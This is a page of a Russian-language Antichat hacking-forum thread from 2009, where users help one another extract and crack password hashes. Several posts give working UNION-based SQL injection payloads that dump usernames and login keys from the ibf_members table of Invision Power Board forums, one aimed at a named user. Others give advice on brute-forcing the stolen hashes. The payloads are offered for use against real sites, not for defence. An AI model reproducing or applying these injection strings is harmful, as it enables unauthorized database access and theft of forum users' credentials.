HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #6481  
Старый 07.04.2009, 12:37
DrAssault
Участник форума
Регистрация: 14.11.2008
Сообщений: 149
С нами: 9204308

Репутация: 256
По умолчанию

Цитата:
Сообщение от FarIZ  
с чем связано то что
passwordsPro не находит пароль который должен был бы бесспорно найти ?

даю ему хеш пароля от mysql версии 5 стоящей у меня на комп.е , выбираю тип хеша mysql5 , и ничего . не находит . даже маску легкую задаю , и все равно не находит
Вероятно ты что то неправильно делаешь, во первых скажи как брутишь, т.е. каким способом???( словарь, полный перебор, атака по маске, атака по райнбоу-таблицам и т.п.) отсюда и будем отталкиваться...
 
Ответить с цитированием

  #6482  
Старый 07.04.2009, 12:44
FarIZ
Новичок
Регистрация: 16.03.2009
Сообщений: 24
С нами: 9029267

Репутация: 2
По умолчанию

Цитата:
Сообщение от DrAssault  
Вероятно ты что то неправильно делаешь, во первых скажи как брутишь, т.е. каким способом???( словарь, полный перебор, атака по маске, атака по райнбоу-таблицам и т.п.) отсюда и будем отталкиваться...
и по полному перебору пробовал,
и по маске
 
Ответить с цитированием

  #6483  
Старый 07.04.2009, 12:51
Jokester
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
С нами: 9593606

Репутация: 4915


По умолчанию

Цитата:
Сообщение от massovka  
Может я наглый очень! А как можно сделать так чтоб таблице вывелось а не одним рядком!?
1,group_concat(concat_ws(0x3a,name,member_login_ke y)+separator+0x0a),3,4,5,6,7,8,9,10,11,12,13,14,15 ,16,17,18,19,20,21,22,23,24,25,26,27,28+from+ibf_m embers--+

Далее, я тебе просто показал таблицу, не факт , что там не солёные хеши, просмотри ВСЕ столбцы, возможно в базе есть соль, возможно там двойной MD5, или просто генерённые пароли, тогда вероятность брута приближается к нулю.(это по поводу перебора)

И ещё раз настоятельно рекоммендую почитать статьи по скулям, все станет гораздо прощё.


PS

Цитата:
Сообщение от DrAssault  
Никак нах...
Я же вроде просил, если не уверен не отвечать.
Да ещё так категорично.
 
Ответить с цитированием

  #6484  
Старый 07.04.2009, 13:13
DrAssault
Участник форума
Регистрация: 14.11.2008
Сообщений: 149
С нами: 9204308

Репутация: 256
По умолчанию

Цитата:
Сообщение от jokester  
Я же вроде просил, если не уверен не отвечать.
Да ещё так категорично.
jokester group_concat это само собой, причем тут вся таблица? Он просил вывести именно таблицу (насколько я понял, претензии по этому поводу не ко мне, попроси лучьше новичков вопросы поясней как то задавать что ли, почему то я более чем уверен, что он имелл ввиду именно, чтобы вывод был всей таблицы, гг так ещё и с рамками ёпт)!!!

Последний раз редактировалось DrAssault; 07.04.2009 в 13:16..
 
Ответить с цитированием

  #6485  
Старый 07.04.2009, 14:02
FarIZ
Новичок
Регистрация: 16.03.2009
Сообщений: 24
С нами: 9029267

Репутация: 2
По умолчанию

насчет моей проблемы
...дайте на худой конец хоть линки к соотв. темам форума
 
Ответить с цитированием

  #6486  
Старый 07.04.2009, 14:10
Shaitan-Devil
Участник форума
Регистрация: 15.08.2008
Сообщений: 167
С нами: 9336002

Репутация: 204
По умолчанию

Цитата:
Сообщение от DrAssault  
jokester group_concat это само собой, причем тут вся таблица? Он просил вывести именно таблицу (насколько я понял, претензии по этому поводу не ко мне, попроси лучьше новичков вопросы поясней как то задавать что ли, почему то я более чем уверен, что он имелл ввиду именно, чтобы вывод был всей таблицы, гг так ещё и с рамками ёпт)!!!
Как раз вопрос был ясен=\. Имхо jokester прав Только у group_concat() есть минус в том, что выводить можно не больше 1024 знаков.
П.С. Сорри за оффтоп.
 
Ответить с цитированием

  #6487  
Старый 07.04.2009, 14:12
Jokester
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
С нами: 9593606

Репутация: 4915


По умолчанию

Цитата:
Сообщение от FarIZ  
насчет моей проблемы
...дайте на худой конец хоть линки к соотв. темам форума
Ты просто не в тот раздел обратился. Попробуй сюда:
https://forum.antichat.ru/forum76.html
карта раздела
https://forum.antichat.ru/thread76958.html
форум самой программы
http://forum.insidepro.com/viewforum.php?f=8

У меня лично отлично всё находит и перебирает, если всё делать правильно
 
Ответить с цитированием

Вопрос
  #6488  
Старый 07.04.2009, 20:09
massovka
Познающий
Регистрация: 05.04.2009
Сообщений: 71
С нами: 9000055

Репутация: 5
По умолчанию Вопрос

Цитата:
Сообщение от massovka  
Может я наглый очень! А как можно сделать так чтоб таблице вывелось а не одним рядком!?

А кто знает как можно вывести хэш одного usera и базы очень нужно! Ник юзера знаю

concat(name,0x3a3a,member_login_key),3,4,5,6,7,8,9 ,10,11,12,13,14,15,16,17,18,19,20 ,21,22,23,24,25,26,27,28+from+ibf_members+limit+0, 2/*
 
Ответить с цитированием

  #6489  
Старый 07.04.2009, 20:45
Kraneg
Участник форума
Регистрация: 30.08.2008
Сообщений: 132
С нами: 9314306

Репутация: 325
По умолчанию

massovka
Код:
concat(name,0x3a3a,member_login_key),3,4,5,6,7,8,9 ,10,11,12,13,14,15,16,17,18,19,20 ,21,22,23,24,25,26,27,28+from+ibf_members+where+name=NICK/*
Где NICK - это ник того кого ты хочешь вывести... вроде так если не ошибаюсь!
p.s. пробелов там нет =)

Последний раз редактировалось Kraneg; 07.04.2009 в 20:49..
 
Ответить с цитированием

  #6490  
Старый 07.04.2009, 20:53
ph1l1ster
Постоянный
Регистрация: 11.03.2008
Сообщений: 347
С нами: 9561436

Репутация: 462
По умолчанию

Код:
where+name='NICK'
так лучше. если с ошибкой то NICK в хексе и без кавычек.
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.

×

Создать сделку

Продавец: ник или ID

Название сделки:

Сумма USDT:

Срок сделки, дней:

Кто платит комиссию:

Условия сделки:

После создания сделки средства будут зарезервированы в холде до завершения сделки.

×

Мои сделки

Загрузка...
×

Сделка


Загрузка чата...
×

ESCROW ADMIN PANEL

Загрузка...
Загрузка...